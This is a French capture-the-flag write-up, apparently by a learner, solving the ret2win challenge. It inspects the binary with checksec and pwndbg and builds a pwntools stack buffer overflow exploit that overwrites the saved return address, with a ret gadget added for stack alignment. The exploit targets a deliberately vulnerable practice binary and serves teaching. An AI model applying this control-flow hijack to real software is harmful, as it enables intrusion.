Note

Je suis actuellement entrain d’apprendre le pwn donc il est possible que je fasse des erreurs ou que je dise des choses fausses dans ce post, si vous en voyez n’hĂ©sitez pas Ă  me contacter sur discord.

File information

Avant de commencer Ă  regarder dans l’executable, il faut savoir Ă  quoi on s’attaque, on va utiliser file pour avoir des informations sur le fichier, puis checksec pour voir les Ă©ventuelles sĂ©curitĂ©es avec lesquelles il a Ă©tĂ© compilĂ©

file ret2win

ret2win: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=19abc0b3bb228157af55b8e16af7316d54ab0597, not stripped
Bash

On va donc s’attaquer Ă  un executable en 64bit, linkĂ© dynamiquement et qui n’est pas strippĂ©

Maintenant le checksec

checksec ret2win

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
CSS

Exploitation

On va le run et voir ce qu’il se passe

2023-01-13-194951_1041x663_scrot

En lisant ce que le programme Ă©crit on apprend plusieurs choses:

  • La taille du buffer oĂč est stockĂ© notre input: 32 bytes
  • La fonction read() est utilisĂ©e pour lire notre input
  • read() va lire 56 bytes au maximum

On va pouvoir overflow le buffer puisqu’on peut Ă©crire un nombre de bytes supĂ©rieur Ă  la taille du buffer

Voici donc le début de notre exploit:

from pwn import *

context.binary = binary = ELF("./ret2win", checksec=False)
  
p = process()

p.recv()

padding = b"A"*32
rbp = b"B"*8

payload = padding + rbp

p.sendline(payload)
Python

Ici, on déclare deux variables, une qui correspond au padding nécessaire pour remplir le buffer (padding), et une qui correspond au padding pour overwrite la sauvegarde de rbp (rbp)

On envoie ensuite notre payload mais en l’occurence ici il ne va rien se passer puisque la sauvegarde de rip n’a pas Ă©tĂ© overwrite.

La prochaine Ă©tape est de lister les symboles de l’executable pour trouver notre fonction “win” (une fonction qui va nous permettre de lire le flag). Pour faire ça, on peut utiliser pwndbg par exemple:

pwndbg> info functions
  All defined functions:

  Non-debugging symbols:
  0x0000000000400528  _init
  0x0000000000400550  puts@plt
  0x0000000000400560  system@plt
  0x0000000000400570  printf@plt
  0x0000000000400580  memset@plt
  0x0000000000400590  read@plt
  0x00000000004005a0  setvbuf@plt
  0x00000000004005b0  _start
  0x00000000004005e0  _dl_relocate_static_pie
  0x00000000004005f0  deregister_tm_clones
  0x0000000000400620  register_tm_clones
  0x0000000000400660  __do_global_dtors_aux
  0x0000000000400690  frame_dummy
  0x0000000000400697  main
  0x00000000004006e8  pwnme
  0x0000000000400756  ret2win
  0x0000000000400780  __libc_csu_init
  0x00000000004007f0  __libc_csu_fini
  0x00000000004007f4  _fini
Python

Une fonction sort du lot: ret2win (situĂ©e Ă  l’adresse 0x0000000000400756)

On va donc regarder ce qu’elle fait plus en dĂ©tail, toujours avec pwndbg

pwndbg> disass ret2win
  Dump of assembler code for function ret2win:
  0x0000000000400756 <+0>:  push   rbp
  0x0000000000400757 <+1>:  mov    rbp,rsp
  0x000000000040075a <+4>:  mov    edi,0x400926
  0x000000000040075f <+9>:  call   0x400550 <puts@plt>
  0x0000000000400764 <+14>: mov    edi,0x400943
  0x0000000000400769 <+19>: call   0x400560 <system@plt>
  0x000000000040076e <+24>: nop
  0x000000000040076f <+25>: pop    rbp
  0x0000000000400770 <+26>: ret    
  End of assembler dump.
Python

Il y a 2 call, un sur puts et un sur system. On voit qu’il passe un argument Ă  system, situĂ© Ă  l’adresse 0x400943

On va donc regarder ce qui se trouve Ă  cette adresse:

  pwndbg> x/s 0x400943
  0x400943: "/bin/cat flag.txt"
Python

Ok, donc c’est effectivement notre fonction win, puisqu’elle passe "/bin/cat flag.txt" en argument dans system().

L’idĂ©e va donc ĂȘtre d’ajouter l’adresse de cette fonction Ă  la fin de notre payload, pour qu’elle finisse dans la sauvegarde de rip

La sauvegarde de rip contient toujours l’adresse de la prochaine instruction Ă  Ă©xecuter. Ici, en rĂ©ecrivant sa valeur actuelle par l’adresse de la fonction ret2win, on modifie la prochaine Ă©tape du programme en lui faisant appeler une fonction qui ne devait jamais ĂȘtre appelĂ©e. On a donc modifiĂ© son flux d’éxecution.

On peut compléter notre exploit:

from pwn import *

context.binary = binary = ELF("./ret2win", checksec=False)
  
p = process()

p.recv()

padding = b"A"*32
rbp = b"B"*8
rip = p64(0x00400756)

payload = padding + rbp + rip

p.sendline(payload)
print("flag:",p.recvall().split(b"\n")[2].decode('utf-8'))
Python

Maintenant, on lance l’exploit et on devrait avoir le flag

2023-01-13-201012_1135x146_scrot

Et
 le flag n’a pas Ă©tĂ© print car le programme a segfault. Puisque je suis sous Ubuntu 22.04, qui est une version ultĂ©rieure Ă  la 18.04 je suis affectĂ© par les problĂšmes de stack alignment (MOVAPS)

Pour rĂ©gler ça, on peut ajouter un gadget ret, qu’on va trouver en utilisant ROPgadget, aprĂšs notre padding

ROPgadget --binary ret2win | grep ret

0x000000000040053e : ret
Python

Final Payload

Maintenant qu’on a l’addresse du ret on peut l’ajouter à notre payload, et il devrait fonctionner cette fois. Voici donc la version finale de l’exploit

from pwn import *

context.binary = binary = ELF("./ret2win", checksec=False)
  
p = process()

p.recv()

padding = b"A"*32
rbp = b"B"*8
rip = p64(0x00400756)
ret = p64(0x000000000040053e)

payload = padding + rbp + ret + rip

p.sendline(payload)
print("flag:",p.recvall().split(b"\n")[2].decode('utf-8'))
Python

2023-01-13-201337_1023x371_scrot

Et on a le flag, gg!